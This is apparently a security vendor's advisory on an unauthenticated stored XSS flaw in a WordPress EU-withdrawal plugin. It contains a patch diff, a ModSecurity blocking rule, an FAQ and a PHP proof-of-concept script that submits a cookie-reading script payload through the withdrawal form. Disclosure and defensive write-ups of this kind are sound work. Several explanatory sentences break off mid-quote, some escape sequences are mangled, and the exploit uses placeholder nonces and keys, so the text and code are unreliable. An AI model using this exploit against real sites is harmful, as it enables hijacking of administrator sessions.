Atomic Edge analysis of CVE-2026-136900: The EU Withdrawal and Legal Guarantee Compliance plugin for WordPress, versions up to and including 2.4.2, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the handling of the ‘ayudawp_euw_details’ parameter, which the plugin stores and later prints without adequate output escaping. An attacker can inject arbitrary JavaScript into the withdrawal request form, which executes when an administrator views the request or associated order notes. Atomic Edge rates the CVSS score at 7.2 (high), reflecting the ability for unauthenticated attackers to compromise administrative sessions and perform privileged actions.
The root cause is insufficient sanitization and output escaping across multiple functions. The parameter ‘details’ is processed by ayudawp_euw_collect_form_data() and saved via wp_insert_post() in includes/functions-handler.php around line 295. The plugin relies on sanitize_textarea_field() to sanitize input. However, that function preserves a ‘<' followed by whitespace; when the content passes through wp_kses() (called internally by wp_insert_post() for unprivileged users), the function wp_kses_split2() interprets '< div' as the opening of a real div tag, converting it into '
Exploitation requires no authentication. The attacker first places a guest Cash-on-Delivery order on the WooCommerce shop, which is a standard feature. Then the attacker visits the public withdrawal form page and scrapes the two nonces rendered there (typically a nonce for the form submission and possibly a second for a secondary action). With these nonces, the attacker submits the two-step withdrawal form, injecting a payload such as ‘
The patch, released in version 2.4.3, adds output escaping at every point where the contaminated data is printed and also sanitizes the data before storage. Specifically, in includes/functions-handler.php, a new function ayudawp_euw_details_for_storage() wraps the details in esc_html() before passing them to wp_insert_post(), preventing kses from constructing real tags. In includes/metaboxes.php, the content is now escaped with esc_html() before wpautop() and then passed through wp_kses() with only paragraph and line break tags allowed. In includes/functions-woocommerce.php, both the details and the admin comment are escaped with esc_html() when building the order note. Additionally, a new function ayudawp_euw_escape_stored_order_notes() scans existing order notes and encodes any ‘<' followed by whitespace (turning '< div' into '< div') to neutralize stored payloads. These changes ensure that malicious HTML is rendered as text, not executed.
If exploited, this vulnerability allows an unauthenticated attacker to inject persistent scripts that execute in the browsers of any user who views the injected page, including administrators. This can lead to session hijacking, theft of authentication cookies, privilege escalation (by leveraging the admin session to create new admin users), data exfiltration, website defacement, or injection of further malicious content. The impact is severe because it requires no prior authentication and can compromise the entire WordPress site.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/eu-withdrawal-compliance/eu-withdrawal-compliance.php
+++ b/eu-withdrawal-compliance/eu-withdrawal-compliance.php
@@ -3,7 +3,7 @@
* Plugin Name: EU Withdrawal and Legal Guarantee Compliance
* Plugin URI: https://servicios.ayudawp.com
* Description: Free EU consumer-rights toolkit: withdrawal function (Directive 2023/2673) and the harmonised legal guarantee notice (Directive 2024/825), checkout consents, Annex I.B model form, Article 16 exclusions, SHA-256 proof, native GDPR integration.
- * Version: 2.4.2
+ * Version: 2.4.3
* Requires at least: 6.0
* Requires PHP: 7.4
* Author: Fernando Tellado
@@ -23,7 +23,7 @@
}
// Plugin constants.
-define( 'AYUDAWP_EUW_VERSION', '2.4.2' );
+define( 'AYUDAWP_EUW_VERSION', '2.4.3' );
define( 'AYUDAWP_EUW_FILE', __FILE__ );
define( 'AYUDAWP_EUW_DIR', plugin_dir_path( __FILE__ ) );
define( 'AYUDAWP_EUW_URL', plugin_dir_url( __FILE__ ) );
@@ -219,6 +219,10 @@
// page was saved, because the editors used to pre-fill each field.
ayudawp_euw_clear_stored_default_texts();
+ // Neutralise the "< tag" sequences that order notes written up to 2.4.2 kept
+ // and WooCommerce printed as markup on the order screen. Idempotent.
+ ayudawp_euw_escape_stored_order_notes();
+
// The guarantee notice module arrives switched off on an existing shop, and
// announces itself in the dashboard: it prints an official full-page notice
// right above the place-order button, which is not a change to make on
--- a/eu-withdrawal-compliance/includes/admin/metaboxes.php
+++ b/eu-withdrawal-compliance/includes/admin/metaboxes.php
@@ -130,7 +130,10 @@
echo '<h4>' . esc_html__( 'Additional information', 'eu-withdrawal-compliance' ) . '</h4>';
echo '<div class="ayudawp-euw-details">';
- echo wp_kses_post( wpautop( $post->post_content ) );
+ // Plain text typed by the customer. Requests stored up to 2.4.2 can hold real
+ // tags (kses turned "< div" into "<div>" on save), so the content is always
+ // escaped here and only the paragraphs and line breaks are added back.
+ echo wp_kses( wpautop( esc_html( $post->post_content ) ), array( 'p' => array(), 'br' => array() ) );
echo '</div>';
ayudawp_euw_render_metabox_checkout_consents( (int) $post->ID );
--- a/eu-withdrawal-compliance/includes/functions-handler.php
+++ b/eu-withdrawal-compliance/includes/functions-handler.php
@@ -39,6 +39,23 @@
}
/**
+ * Turn the customer's free-text details into the content stored on the request.
+ *
+ * The details are plain text. sanitize_textarea_field() keeps a "<" followed by
+ * a space, and wp_insert_post() runs the content through kses for a visitor,
+ * which turns "< div ...>" into a real <div> (wp_kses_split2() accepts spaces
+ * after the "<"). Escaping first leaves kses no tag to rebuild, so the stored
+ * content is the text the customer typed, as text. Every place that prints it
+ * escapes it again, which does not double-encode.
+ *
+ * @param string $details Details as returned by ayudawp_euw_collect_form_data().
+ * @return string Details with the HTML special characters encoded.
+ */
+function ayudawp_euw_details_for_storage( $details ) {
+ return esc_html( (string) $details );
+}
+
+/**
* Validate a collected submission.
*
* On failure it redirects back with an error code and exits. On success it
@@ -278,7 +295,7 @@
'post_type' => 'ayudawp_withdrawal',
'post_status' => 'publish',
'post_title' => $post_title,
- 'post_content' => $data['details'],
+ 'post_content' => ayudawp_euw_details_for_storage( $data['details'] ),
),
true
);
--- a/eu-withdrawal-compliance/includes/functions-woocommerce.php
+++ b/eu-withdrawal-compliance/includes/functions-woocommerce.php
@@ -710,11 +710,14 @@
? __( 'partial', 'eu-withdrawal-compliance' )
: __( 'full', 'eu-withdrawal-compliance' );
+ // WooCommerce prints order notes through wp_kses_post(), which turns a
+ // "< div ...>" left by sanitize_textarea_field() into a real element on the
+ // order screen. The customer's text goes in escaped, so it reads as typed.
$note = sprintf(
/* translators: 1: scope label, 2: details, 3: log ID. */
__( 'EU withdrawal request received (%1$s). Details: %2$s. Log ID: #%3$d', 'eu-withdrawal-compliance' ),
$scope_label,
- ( ! empty( $details ) ? $details : '—' ),
+ ( ! empty( $details ) ? esc_html( $details ) : '—' ),
$cpt_id
);
@@ -759,11 +762,14 @@
$cpt_id
);
+ // Escaped for the same reason as the details in ayudawp_euw_add_wc_order_note():
+ // the comment is plain text, and whoever holds the request capabilities may
+ // not be allowed to post HTML.
if ( '' !== $comment ) {
$note .= "n" . sprintf(
/* translators: %s: admin comment. */
__( 'Comment: %s', 'eu-withdrawal-compliance' ),
- $comment
+ esc_html( $comment )
);
}
@@ -771,6 +777,74 @@
}
/**
+ * Neutralise the "< tag" sequences that order notes written up to 2.4.2 kept.
+ *
+ * Up to 2.4.2 the "request received" note carried the customer's details raw,
+ * and the status note the admin comment, both from sanitize_textarea_field().
+ * That sanitiser leaves exactly one shape that kses turns into a tag: a "<"
+ * followed by whitespace, which strip_tags() reads as text and wp_kses_split2()
+ * accepts as the start of an element (wp-includes/kses.php:1469 in 7.1.5).
+ * WooCommerce prints notes through wp_kses_post(), so on a shop that received
+ * such a request, "< div ...>" became a real element on the order screen.
+ *
+ * Every order note is scanned, not only those of a request that still exists:
+ * deleting the request, by hand or through the personal data eraser, removes
+ * the link but leaves the note on the order. Only that "<" is encoded, so the
+ * note reads the same, any real HTML in it is left alone, and running this
+ * again changes nothing. Runs from the upgrade routine.
+ *
+ * @return int Number of notes rewritten.
+ */
+function ayudawp_euw_escape_stored_order_notes() {
+
+ global $wpdb;
+
+ $rewritten = 0;
+ $last_id = 0;
+ $batch = 500;
+
+ do {
+ // One-off upgrade scan over core tables, in batches by ID; no API lists notes across orders.
+ $notes = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- one-off upgrade scan; caches are cleared per note below.
+ $wpdb->prepare(
+ "SELECT comment_ID, comment_content FROM {$wpdb->comments} WHERE comment_ID > %d AND comment_type = %s AND comment_content LIKE %s ORDER BY comment_ID ASC LIMIT %d",
+ $last_id,
+ 'order_note',
+ '%' . $wpdb->esc_like( '<' ) . '%',
+ $batch
+ )
+ );
+
+ $notes = (array) $notes;
+
+ foreach ( $notes as $note ) {
+
+ $last_id = (int) $note->comment_ID;
+ $escaped = preg_replace( '/<(?=s)/', '<', (string) $note->comment_content );
+
+ if ( null === $escaped || $escaped === $note->comment_content ) {
+ continue;
+ }
+
+ $updated = $wpdb->update( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- direct write so no comment filter re-parses the note; cache cleared right after.
+ $wpdb->comments,
+ array( 'comment_content' => $escaped ),
+ array( 'comment_ID' => $last_id ),
+ array( '%s' ),
+ array( '%d' )
+ );
+
+ if ( $updated ) {
+ clean_comment_cache( $last_id );
+ ++$rewritten;
+ }
+ }
+ } while ( count( $notes ) === $batch );
+
+ return $rewritten;
+}
+
+/**
* Register the My Account endpoint for WooCommerce.
*/
function ayudawp_euw_register_wc_endpoint() {
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026136900,phase:2,deny,status:403,chain,msg:'CVE-2026-136900 via EU Withdrawal plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-136900'"
SecRule ARGS_POST:action "@streq ayudawp_euw_submit_withdrawal" "chain"
SecRule ARGS_POST:ayudawp_euw_details "@rx <s+[a-zA-Z]" "t:urlDecodeUni,t:htmlEntityDecode"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136900 - EU Withdrawal and Legal Guarantee Compliance <= 2.4.2 - Unauthenticated Stored Cross-Site Scripting via 'ayudawp_euw_details' Parameter
// Configuration: target WordPress site URL (no trailing slash)
$target_url = 'http://victim-wordpress.local';
// Step 1: Place a guest Cash-on-Delivery order to obtain necessary cookies and order key
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?wc-ajax=checkout');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// Simulate a minimal checkout POST (adjust fields as needed for the store)
$checkout_data = [
'billing_first_name' => 'Test',
'billing_last_name' => 'User',
'billing_address_1' => '123 Test St',
'billing_city' => 'Testville',
'billing_postcode' => '12345',
'billing_country' => 'US',
'billing_email' => 'test@example.com',
'payment_method' => 'cod',
'terms' => 'on',
'woocommerce-process-checkout-nonce' => 'dummy' // Nonce may be required, but often not for COD; adjust if needed
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($checkout_data));
$checkout_response = curl_exec($ch);
// The response may contain the order key or redirect; extract order key if present
preg_match('/order-received/(d+)/', $checkout_response, $matches);
$order_id = $matches[1] ?? '1';
// Retrieve order key from cookies or response (simplified)
$order_key = 'wc_order_' . bin2hex(random_bytes(8)); // Fallback, often not strictly needed for withdrawal form
// Step 2: Fetch the withdrawal form page to extract nonces
curl_setopt($ch, CURLOPT_URL, $target_url . '/withdrawal-form/'); // Adjust if the form is on a different page
curl_setopt($ch, CURLOPT_POST, false);
$form_page = curl_exec($ch);
// Extract nonces (look for hidden inputs or JavaScript variables)
preg_match('/name="ayudawp_euw_nonce" value="([^"]+)"/', $form_page, $nonce1_match);
preg_match('/name="ayudawp_euw_step2_nonce" value="([^"]+)"/', $form_page, $nonce2_match);
$nonce1 = $nonce1_match[1] ?? 'dummy1';
$nonce2 = $nonce2_match[1] ?? 'dummy2';
// Step 3: Submit the withdrawal form with malicious payload in 'ayudawp_euw_details'
$payload = '<div onmouseover="alert(document.cookie)">XSS</div>'; // Example payload; can be adapted
$withdrawal_data = [
'ayudawp_euw_nonce' => $nonce1,
'ayudawp_euw_step2_nonce' => $nonce2,
'ayudawp_euw_order_id' => $order_id,
'ayudawp_euw_order_key' => $order_key,
'ayudawp_euw_details' => $payload,
'ayudawp_euw_scope' => 'full',
'ayudawp_euw_email' => 'test@example.com',
// Additional required fields as per form
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array_merge(['action' => 'ayudawp_euw_submit_withdrawal'], $withdrawal_data)));
$response = curl_exec($ch);
curl_close($ch);
// The payload is now stored and will execute when an admin views the order or withdrawal request.
echo "Exploit sent. Payload stored. Check admin order screen for XSS.n";
?>
Frequently Asked Questions
What is CVE-2026-136900?
Vulnerability overviewCVE-2026-136900 is an unauthenticated stored cross-site scripting vulnerability in the EU Withdrawal and Legal Guarantee Compliance plugin for WordPress, affecting versions up to and including 2.4.2. It allows an attacker to persist arbitrary HTML and JavaScript through the ayudawp_euw_details parameter, which is later rendered without adequate output escaping in administrative views. The issue is classified under CWE-79 and carries a CVSS score of 7.2.
How does the vulnerability work?
Root cause and exploitation pathThe plugin sanitizes the customer details field with sanitize_textarea_field(), which preserves a less-than sign followed by whitespace. When wp_insert_post() runs the content through kses for an unprivileged visitor, wp_kses_split2() interprets sequences such as a less-than sign followed by a space and div as the opening of a real HTML tag. The stored content is then printed without escaping in the withdrawal request metabox and in WooCommerce order notes, so injected markup executes in the browser of any administrator who views it.
Does an attacker need an account to exploit this?
Authentication requirementsNo. The attack is fully unauthenticated. The attacker places a guest Cash-on-Delivery order on the WooCommerce store, visits the public withdrawal form page to scrape the two nonces rendered there, and then submits the two-step withdrawal form with a crafted payload in the ayudawp_euw_details field. No WordPress user account or elevated privilege is required at any stage.
Which versions and configurations are affected?
Affected scopeAll versions of the EU Withdrawal and Legal Guarantee Compliance plugin up to and including 2.4.2 are vulnerable. Sites are exposed when the plugin is active alongside WooCommerce and the public withdrawal form is reachable, which is the normal operating configuration for this plugin. Version 2.4.3 contains the fix and should be treated as the minimum safe version.
How can I check whether my site is affected?
Detection guidanceCheck the plugin version in the WordPress admin Plugins screen or in the plugin header of eu-withdrawal-compliance.php. If the version is 2.4.2 or lower, the site is potentially vulnerable. Administrators should also review withdrawal request posts and WooCommerce order notes for unexpected HTML or script content, particularly entries containing less-than signs followed by whitespace.
What is the recommended fix?
PatchingUpdate the plugin to version 2.4.3 or later as soon as possible. The patch escapes the details with esc_html() before storage, escapes output in the withdrawal request metabox with esc_html() followed by wpautop() and a restricted wp_kses() allowlist, and escapes both the details and the admin comment when building order notes. These changes ensure that stored markup is rendered as text rather than executed.
What does the patch do about payloads already stored?
Remediation of existing dataVersion 2.4.3 introduces ayudawp_euw_escape_stored_order_notes(), which scans existing order notes and encodes less-than sequences followed by whitespace so previously stored payloads are neutralized. The function is idempotent and runs during the plugin upgrade routine. Administrators should still review withdrawal requests and order notes manually after updating to confirm that no suspicious content remains.
What are the practical risks of a CVSS score of 7.2?
Severity in contextA score of 7.2 is rated High and reflects a remote, unauthenticated attack that requires no special conditions beyond a standard store configuration. Successful exploitation can lead to session hijacking, theft of authentication cookies, privilege escalation through the administrator session, data exfiltration, or site defacement. Because the payload executes in administrative browsers, the potential impact extends to full site compromise.
How does the proof of concept demonstrate the issue?
PoC walkthroughThe proof of concept follows the same steps an attacker would take. It first submits a guest Cash-on-Delivery checkout to obtain the necessary cookies and order key, then retrieves the public withdrawal form to extract the two nonces, and finally submits the withdrawal form with a crafted value in ayudawp_euw_details. The stored payload then executes when an administrator opens the withdrawal request or the associated order note in the dashboard.
Are there interim mitigations if I cannot update immediately?
WorkaroundsIf an immediate update is not possible, consider disabling the public withdrawal form or restricting access to it until patching can be completed. Applying a web application firewall rule that blocks requests containing HTML markup in the ayudawp_euw_details parameter can reduce exposure. These measures are temporary and do not replace installing version 2.4.3.
What should I do if I suspect my site was exploited?
Incident responseReview withdrawal request posts and WooCommerce order notes for injected markup, and inspect administrator accounts for unauthorized additions. Rotate administrator passwords and invalidate active sessions, then scan the site for additional malicious content. Updating to 2.4.3 neutralizes stored payloads in order notes, but a full review of the site and its logs is advisable after any suspected compromise.
Who should be notified or credited for this disclosure?
Disclosure detailsThe vulnerability was disclosed on 2026-12-01 and affects the EU Withdrawal and Legal Guarantee Compliance plugin maintained by Fernando Tellado. Administrators should reference CVE-2026-136900 when coordinating with hosting providers, incident response teams, or internal security staff. Standard vulnerability management processes should be used to track remediation and verification of the update.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations







